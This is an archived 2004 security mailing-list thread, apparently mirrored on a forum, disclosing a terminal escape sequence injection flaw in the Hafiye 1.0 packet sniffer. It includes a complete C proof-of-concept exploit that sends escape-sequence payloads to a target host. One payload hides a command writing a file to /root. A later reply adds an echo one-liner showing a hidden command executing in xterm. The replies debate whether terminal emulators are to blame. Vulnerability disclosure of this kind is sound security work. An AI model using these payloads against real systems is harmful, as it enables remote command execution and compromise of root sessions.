PDA

Bekijk Volledige Versie : Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability



Serkan Akpolat
24/08/04, 03:45
+-------[ Software ]--------------+

Hafiye [1.0] "POSIX-compliant, customizable TCP/IP packet sniffer."

+-------[ Tested Versions ]--------------+

Hafiye[1.0]
Tested on:Linux(Hafiye compiled from tarball)
FreeBSD 4.7 (Installed from CD)

+-------[ Vulnerability ]--------------+

Packet Payload Terminal Escape Sequence Injection Vulnerability.

Results: DoS/Remote Root Comprimise

+-------[ Description ]--------------+

Hafiye[1.0] is a POSIX-compliant, customizable TCP/IP packet sniffer.
It runs with uid0 privilege.

Hafiye-1.0 doesnt filter the payload when printing it to the terminal.
A malicious attacker can send packets with escape sequence payloads
to exploit this vulnerability.

If Hafiye has been started with -n packet count option ,
the vulnerability could allow remote code execution.
For remote code execution the victim must press Enter after program exit.

+-------[ Contact ]--------------+

http://deicide.siyahsapka.org

deicide@siyahsapka.org


+-------[ Proof Of Concept Exploit ]--------------+


/* Remote Exploit for Hafiye-1.0
** Terminal Escape Sequence Injection Vulnerability
** Written by Serkan Akpolat
** Homepage: http://deicide.siyahsapka.org
** E-mail: deicide@siyahsapka.org
** Greets: Virulent, gorny and all other netricians
*/
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>

typedef struct _target {
char *host;
u_short port;
unsigned int sequence;
unsigned int cnt;
} target;

char *esc_sequence[]= {"Escape Sequences",
"\x1b""]2;Insecure?""\x07\x0a",
"\x07\x07\x07\x07\x07\x07",
"\x1b""]2;;echo Owned > /root/Owned.txt"
"\x07\x1b""[21t""\x1b""]2;xterm""\x07"
"Abnormal Termination""\x1b"
"[8m;""\x0a"};


char use[] ="\t[ -h host ] [ -p port ] [ -e esc-seq-n ] [ -l number ]\n"
"\t Escape Sequences :\n"
"\t1-Change TitleBar Text to \"Insecure?\"\n"
"\t2-Ring The Bell\n"
"\t3-Hidden Prompt to Create Owned.txt in /root\n"
"\tExample: ./exp -h 192.168.0.3 -p 80 -e 1 -l 1\n";

void usage()
{
printf("%s",use);
exit(1);
}

int connect_to_host(char *host, u_short port)
{
int sock = 0;
struct hostent *hp;
struct sockaddr_in sa;

memset(&sa, 0, sizeof(sa));

hp = gethostbyname(host);
if (hp == NULL) {
herror("Error:");
exit(1);
}
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr = **((struct in_addr **) hp->h_addr_list);

sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0)
exit(1);

if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
exit(1);

printf("[+] Connected to %s\n", host);
return sock;
}

int main(int argc, char **argv)
{
int i;
int sock = 0;
char buf[256]="\0";
target target;
memset(&target,0,sizeof(target));
while ((i = getopt(argc, argv, "h:p:e:l:")) != -1) {
switch (i) {
case 'h':
target.host = optarg;
break;
case 'p':
target.port = (u_short)atoi(optarg);
break;
case 'e':
target.sequence = atoi(optarg);
if(target.sequence < 1 || target.sequence > 3) {
usage();
}
break;
case 'l':
target.cnt=atoi(optarg);
if(target.cnt<1) {
target.cnt=1;
}
break;
case ':':
case '?':
default:
usage();
exit(1);
}
}
if (optind != argc || !target.host || !target.port ||
!target.sequence || !target.cnt) {
usage();
}

sock = connect_to_host(target.host, target.port);
strncpy(buf,esc_sequence[target.sequence],sizeof(buf)-1);


printf("[+] Sending Escape Sequences\n");
do {
if (send(sock, buf, strlen(buf), 0) < 0) {
printf("Socket Error\n");
exit(1);
}
target.cnt--;
} while(target.cnt > 0);
close(sock);
return 0;
}

Jan Minar
25/08/04, 09:15
--n8g4imXOkfNTN/H1
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Aug 23, 2004 at 09:32:15PM +0300, Serkan Akpolat wrote:
> If Hafiye has been started with -n packet count option ,
> the vulnerability could allow remote code execution.
> For remote code execution the victim must press Enter after program exit.

> "\x1b""]2;Insecure?""\x07\x0a",
> "\x07\x07\x07\x07\x07\x07",
> "\x1b""]2;;echo Owned > /root/Owned.txt"
> "\x07\x1b""[21t""\x1b""]2;xterm""\x07"
> "Abnormal Termination""\x1b"
> "[8m;""\x0a"};

That is, with broken terminals/emulators, such as is rxvt in Debian
Woody (at the time of my writing this). These devices/programs should
have been fixed long time ago in the first place. (Not that (albeit
crippled) echo-back escape sequences were a good idea anyway.)

Jan.


--=20
"To me, clowns aren't funny. In fact, they're kind of scary. I've wonder=
ed
where this started and I think it goes back to the time I went to the circ=
us,
and a clown killed my dad."

--n8g4imXOkfNTN/H1
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQFBKqkV+uczK20Fa5cRAgvoAJ42wYMZ4ojScvRX4fN7i+ XymD6IEACgqjl5
dEfKFMhtGCU3wFhfTFErYl0=
=0w1J
-----END PGP SIGNATURE-----

--n8g4imXOkfNTN/H1--

Rodrigo Barbosa
25/08/04, 11:15
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Mon, Aug 23, 2004 at 09:32:15PM +0300, Serkan Akpolat wrote:
> char *esc_sequence[]= {"Escape Sequences",
> "\x1b""]2;Insecure?""\x07\x0a",
> "\x07\x07\x07\x07\x07\x07",
> "\x1b""]2;;echo Owned > /root/Owned.txt"
> "\x07\x1b""[21t""\x1b""]2;xterm""\x07"
> "Abnormal Termination""\x1b"
> "[8m;""\x0a"};

Looks like a traditional ANSI escape code "exploit" (or should I say abuse ?).
I would blame this on the terminal, nor on the Hafiye software itself.

[]s

- --
Rodrigo Barbosa <rodrigob@suespammers.org>
"Quid quid Latine dictum sit, altum viditur"
"Be excellent to each other ..." - Bill & Ted (Wyld Stallyns)

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQFBK2TPpdyWzQ5b5ckRAmQmAKCC/JHgqFew7X5MPg7JwIZWGT3ZywCfURNQ
Lg02GiczNMHvLbitgXLSc6c=
=qau0
-----END PGP SIGNATURE-----

Serkan Akpolat
27/08/04, 11:25
Jan Minar wrote:
> On Mon, Aug 23, 2004 at 09:32:15PM +0300, Serkan Akpolat wrote:
>
>>If Hafiye has been started with -n packet count option ,
>>the vulnerability could allow remote code execution.
>>For remote code execution the victim must press Enter after program exit.
>
>
>> "\x1b""]2;Insecure?""\x07\x0a",
>> "\x07\x07\x07\x07\x07\x07",
>> "\x1b""]2;;echo Owned > /root/Owned.txt"
>> "\x07\x1b""[21t""\x1b""]2;xterm""\x07"
>> "Abnormal Termination""\x1b"
>> "[8m;""\x0a"};
>
>
> That is, with broken terminals/emulators, such as is rxvt in Debian
> Woody (at the time of my writing this). These devices/programs should
> have been fixed long time ago in the first place. (Not that (albeit
> crippled) echo-back escape sequences were a good idea anyway.)
>
> Jan.
>
>

True. My test environment was default slack 9.1 and fbsd 4.7 with xterm.
Echo-back esc-sequence seems to be fixed in the current xterm.

Serkan Akpolat
27/08/04, 20:25
Rodrigo Barbosa wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> On Mon, Aug 23, 2004 at 09:32:15PM +0300, Serkan Akpolat wrote:
>
>>char *esc_sequence[]= {"Escape Sequences",
>> "\x1b""]2;Insecure?""\x07\x0a",
>> "\x07\x07\x07\x07\x07\x07",
>> "\x1b""]2;;echo Owned > /root/Owned.txt"
>> "\x07\x1b""[21t""\x1b""]2;xterm""\x07"
>> "Abnormal Termination""\x1b"
>> "[8m;""\x0a"};
>
>
> Looks like a traditional ANSI escape code "exploit" (or should I say abuse ?).
> I would blame this on the terminal, nor on the Hafiye software itself.
>
> []s
>
> - --
> Rodrigo Barbosa <rodrigob@suespammers.org>
> "Quid quid Latine dictum sit, altum viditur"
> "Be excellent to each other ..." - Bill & Ted (Wyld Stallyns)
>
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.3 (GNU/Linux)
>
> iD8DBQFBK2TPpdyWzQ5b5ckRAmQmAKCC/JHgqFew7X5MPg7JwIZWGT3ZywCfURNQ
> Lg02GiczNMHvLbitgXLSc6c=
> =qau0
> -----END PGP SIGNATURE-----
>
>

Well i would not blame this on terminal emulators.
And the escape sequences in the poc exploit i wrote are not related with
ANSI escape code "exploit".
They are features of terminal emulators.


echo -e "\e]2;;ls;\a\e[21t\abash-2.05b$\e[8m;"
You can try this one in xterm.You will see bash-2.05b$ , if you type
some command and hit enter, "ls" command in the escape sequence will be
executed too. (thanks to bloofar for the hint)

You can read more on "TERMINAL EMULATOR SECURITY ISSUES" paper written
by H D Moore. The paper also covers old vulnerabilities in terminal
emulators.